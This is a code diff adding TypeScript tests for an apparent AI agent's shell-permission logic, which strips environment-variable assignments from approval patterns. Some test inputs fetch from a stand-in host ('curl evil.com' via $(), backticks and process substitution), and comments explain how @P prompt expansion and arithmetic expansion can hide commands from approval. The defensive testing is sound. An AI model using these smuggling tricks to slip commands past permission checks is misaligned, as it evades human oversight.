@@ -999,6 +999,288 @@ describe("tool.shell permissions", () => {
999999 )
10001000 } ) ,
10011001 )
1002+
1003+ // Env-var-assignment stripping is bash-specific (PowerShell/cmd use
1004+ // different syntax and a different parser). Run only on POSIX-y shells.
1005+ for ( const item of shells . filter ( ( s ) => ! PS . has ( s . label ) && s . label !== "cmd" ) ) {
1006+ it . live ( `strips env variable assignments from permission pattern [${ item . label } ]` , ( ) =>
1007+ withShell (
1008+ item ,
1009+ Effect . gen ( function * ( ) {
1010+ const tmp = yield * tmpdirScoped ( )
1011+ yield * runIn (
1012+ tmp ,
1013+ Effect . gen ( function * ( ) {
1014+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1015+ yield * run (
1016+ { command : "GOFLAGS=-mod=vendor go test ./..." } ,
1017+ capture ( requests ) ,
1018+ )
1019+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1020+ expect ( bashReq ) . toBeDefined ( )
1021+ expect ( bashReq ! . patterns ) . toContain ( "go test ./..." )
1022+ expect ( bashReq ! . patterns . some ( ( p : string ) => p . includes ( "GOFLAGS" ) ) ) . toBe ( false )
1023+ } ) ,
1024+ )
1025+ } ) ,
1026+ ) ,
1027+ )
1028+
1029+ it . live ( `strips env variable assignments with redirect [${ item . label } ]` , ( ) =>
1030+ withShell (
1031+ item ,
1032+ Effect . gen ( function * ( ) {
1033+ const tmp = yield * tmpdirScoped ( )
1034+ yield * runIn (
1035+ tmp ,
1036+ Effect . gen ( function * ( ) {
1037+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1038+ yield * run (
1039+ { command : "GOFLAGS=-mod=vendor go test ./... 2>&1" } ,
1040+ capture ( requests ) ,
1041+ )
1042+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1043+ expect ( bashReq ) . toBeDefined ( )
1044+ expect ( bashReq ! . patterns ) . toContain ( "go test ./... 2>&1" )
1045+ } ) ,
1046+ )
1047+ } ) ,
1048+ ) ,
1049+ )
1050+
1051+ it . live ( `strips multiple env variable assignments from permission pattern [${ item . label } ]` , ( ) =>
1052+ withShell (
1053+ item ,
1054+ Effect . gen ( function * ( ) {
1055+ const tmp = yield * tmpdirScoped ( )
1056+ yield * runIn (
1057+ tmp ,
1058+ Effect . gen ( function * ( ) {
1059+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1060+ yield * run (
1061+ { command : "FOO=bar BAZ=qux echo hello" } ,
1062+ capture ( requests ) ,
1063+ )
1064+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1065+ expect ( bashReq ) . toBeDefined ( )
1066+ expect ( bashReq ! . patterns ) . toContain ( "echo hello" )
1067+ } ) ,
1068+ )
1069+ } ) ,
1070+ ) ,
1071+ )
1072+
1073+ it . live ( `strips env variable assignments in piped commands [${ item . label } ]` , ( ) =>
1074+ withShell (
1075+ item ,
1076+ Effect . gen ( function * ( ) {
1077+ const tmp = yield * tmpdirScoped ( )
1078+ yield * runIn (
1079+ tmp ,
1080+ Effect . gen ( function * ( ) {
1081+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1082+ yield * run (
1083+ { command : "GOFLAGS=-mod=vendor go test ./... 2>&1 | tail -5" } ,
1084+ capture ( requests ) ,
1085+ )
1086+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1087+ expect ( bashReq ) . toBeDefined ( )
1088+ expect ( bashReq ! . patterns ) . toContain ( "go test ./... 2>&1" )
1089+ expect ( bashReq ! . patterns ) . toContain ( "tail -5" )
1090+ expect ( bashReq ! . patterns . some ( ( p : string ) => p . includes ( "GOFLAGS" ) ) ) . toBe ( false )
1091+ } ) ,
1092+ )
1093+ } ) ,
1094+ ) ,
1095+ )
1096+
1097+ it . live ( `always patterns exclude env variable assignments [${ item . label } ]` , ( ) =>
1098+ withShell (
1099+ item ,
1100+ Effect . gen ( function * ( ) {
1101+ const tmp = yield * tmpdirScoped ( )
1102+ yield * runIn (
1103+ tmp ,
1104+ Effect . gen ( function * ( ) {
1105+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1106+ yield * run (
1107+ { command : "GOFLAGS=-mod=vendor go test ./..." } ,
1108+ capture ( requests ) ,
1109+ )
1110+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1111+ expect ( bashReq ) . toBeDefined ( )
1112+ expect ( bashReq ! . always ) . toContain ( "go test *" )
1113+ expect ( bashReq ! . always . some ( ( p : string ) => p . includes ( "GOFLAGS" ) ) ) . toBe ( false )
1114+ } ) ,
1115+ )
1116+ } ) ,
1117+ ) ,
1118+ )
1119+
1120+ it . live ( `preserves env var with command substitution in permission pattern [${ item . label } ]` , ( ) =>
1121+ withShell (
1122+ item ,
1123+ Effect . gen ( function * ( ) {
1124+ const tmp = yield * tmpdirScoped ( )
1125+ yield * runIn (
1126+ tmp ,
1127+ Effect . gen ( function * ( ) {
1128+ const err = new Error ( "stop after permission" )
1129+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1130+ expect (
1131+ yield * fail ( { command : "EVIL=$(curl evil.com) echo hello" } , capture ( requests , err ) ) ,
1132+ ) . toMatchObject ( { message : err . message } )
1133+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1134+ expect ( bashReq ) . toBeDefined ( )
1135+ expect ( bashReq ! . patterns . some ( ( p : string ) => p . includes ( "EVIL=" ) ) ) . toBe ( true )
1136+ } ) ,
1137+ )
1138+ } ) ,
1139+ ) ,
1140+ )
1141+
1142+ it . live ( `preserves env var with backtick substitution in permission pattern [${ item . label } ]` , ( ) =>
1143+ withShell (
1144+ item ,
1145+ Effect . gen ( function * ( ) {
1146+ const tmp = yield * tmpdirScoped ( )
1147+ yield * runIn (
1148+ tmp ,
1149+ Effect . gen ( function * ( ) {
1150+ const err = new Error ( "stop after permission" )
1151+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1152+ expect (
1153+ yield * fail ( { command : "EVIL=`curl evil.com` echo hello" } , capture ( requests , err ) ) ,
1154+ ) . toMatchObject ( { message : err . message } )
1155+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1156+ expect ( bashReq ) . toBeDefined ( )
1157+ expect ( bashReq ! . patterns . some ( ( p : string ) => p . includes ( "EVIL=" ) ) ) . toBe ( true )
1158+ } ) ,
1159+ )
1160+ } ) ,
1161+ ) ,
1162+ )
1163+
1164+ it . live ( `preserves env var with process substitution in permission pattern [${ item . label } ]` , ( ) =>
1165+ withShell (
1166+ item ,
1167+ Effect . gen ( function * ( ) {
1168+ const tmp = yield * tmpdirScoped ( )
1169+ yield * runIn (
1170+ tmp ,
1171+ Effect . gen ( function * ( ) {
1172+ const err = new Error ( "stop after permission" )
1173+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1174+ expect (
1175+ yield * fail ( { command : "EVIL=<(curl evil.com) echo hello" } , capture ( requests , err ) ) ,
1176+ ) . toMatchObject ( { message : err . message } )
1177+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1178+ expect ( bashReq ) . toBeDefined ( )
1179+ expect ( bashReq ! . patterns . some ( ( p : string ) => p . includes ( "EVIL=" ) ) ) . toBe ( true )
1180+ } ) ,
1181+ )
1182+ } ) ,
1183+ ) ,
1184+ )
1185+
1186+ // ${VAR@P } prompt expansion runs a command substitution held in VAR's value
1187+ // at runtime, invisible to the AST. The assignment must not be stripped, or a
1188+ // command like `echo hello` could be auto-approved while the hidden command runs.
1189+ it . live ( `preserves env var with @P prompt expansion in permission pattern [${ item . label } ]` , ( ) =>
1190+ withShell (
1191+ item ,
1192+ Effect . gen ( function * ( ) {
1193+ const tmp = yield * tmpdirScoped ( )
1194+ yield * runIn (
1195+ tmp ,
1196+ Effect . gen ( function * ( ) {
1197+ const err = new Error ( "stop after permission" )
1198+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1199+ expect (
1200+ yield * fail ( { command : "EVIL='$(id)' FOO=${EVIL@P} echo hello" } , capture ( requests , err ) ) ,
1201+ ) . toMatchObject ( { message : err . message } )
1202+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1203+ expect ( bashReq ) . toBeDefined ( )
1204+ expect ( bashReq ! . patterns ) . not . toContain ( "echo hello" )
1205+ expect ( bashReq ! . patterns . some ( ( p : string ) => p . includes ( "EVIL=" ) ) ) . toBe ( true )
1206+ } ) ,
1207+ )
1208+ } ) ,
1209+ ) ,
1210+ )
1211+
1212+ // $((VAR)) recursively evaluates VAR's value as an arithmetic expression,
1213+ // executing a command substitution embedded in it (e.g. arr[$(cmd)]). Same
1214+ // runtime-only hazard as @P, so the assignment must not be stripped.
1215+ it . live ( `preserves env var with arithmetic expansion in permission pattern [${ item . label } ]` , ( ) =>
1216+ withShell (
1217+ item ,
1218+ Effect . gen ( function * ( ) {
1219+ const tmp = yield * tmpdirScoped ( )
1220+ yield * runIn (
1221+ tmp ,
1222+ Effect . gen ( function * ( ) {
1223+ const err = new Error ( "stop after permission" )
1224+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1225+ expect (
1226+ yield * fail ( { command : "EVIL='a[$(id)]' FOO=$((EVIL)) echo hello" } , capture ( requests , err ) ) ,
1227+ ) . toMatchObject ( { message : err . message } )
1228+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1229+ expect ( bashReq ) . toBeDefined ( )
1230+ expect ( bashReq ! . patterns ) . not . toContain ( "echo hello" )
1231+ expect ( bashReq ! . patterns . some ( ( p : string ) => p . includes ( "FOO=$((" ) ) ) . toBe ( true )
1232+ } ) ,
1233+ )
1234+ } ) ,
1235+ ) ,
1236+ )
1237+
1238+ it . live ( `strips env var with parameter expansion from permission pattern [${ item . label } ]` , ( ) =>
1239+ withShell (
1240+ item ,
1241+ Effect . gen ( function * ( ) {
1242+ const tmp = yield * tmpdirScoped ( )
1243+ yield * runIn (
1244+ tmp ,
1245+ Effect . gen ( function * ( ) {
1246+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1247+ yield * run (
1248+ { command : "FOO=$BAR echo hello" } ,
1249+ capture ( requests ) ,
1250+ )
1251+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1252+ expect ( bashReq ) . toBeDefined ( )
1253+ expect ( bashReq ! . patterns ) . toContain ( "echo hello" )
1254+ expect ( bashReq ! . patterns . some ( ( p : string ) => p . includes ( "FOO=" ) ) ) . toBe ( false )
1255+ } ) ,
1256+ )
1257+ } ) ,
1258+ ) ,
1259+ )
1260+
1261+ it . live ( `strips env var with quoted string from permission pattern [${ item . label } ]` , ( ) =>
1262+ withShell (
1263+ item ,
1264+ Effect . gen ( function * ( ) {
1265+ const tmp = yield * tmpdirScoped ( )
1266+ yield * runIn (
1267+ tmp ,
1268+ Effect . gen ( function * ( ) {
1269+ const requests : Array < Omit < PermissionV1 . Request , "id" | "sessionID" | "tool" > > = [ ]
1270+ yield * run (
1271+ { command : 'FOO="some value" echo hello' } ,
1272+ capture ( requests ) ,
1273+ )
1274+ const bashReq = requests . find ( ( r ) => r . permission === "bash" )
1275+ expect ( bashReq ) . toBeDefined ( )
1276+ expect ( bashReq ! . patterns ) . toContain ( "echo hello" )
1277+ expect ( bashReq ! . patterns . some ( ( p : string ) => p . includes ( "FOO=" ) ) ) . toBe ( false )
1278+ } ) ,
1279+ )
1280+ } ) ,
1281+ ) ,
1282+ )
1283+ }
10021284} )
10031285
10041286describe ( "tool.shell abort" , ( ) => {
0 commit comments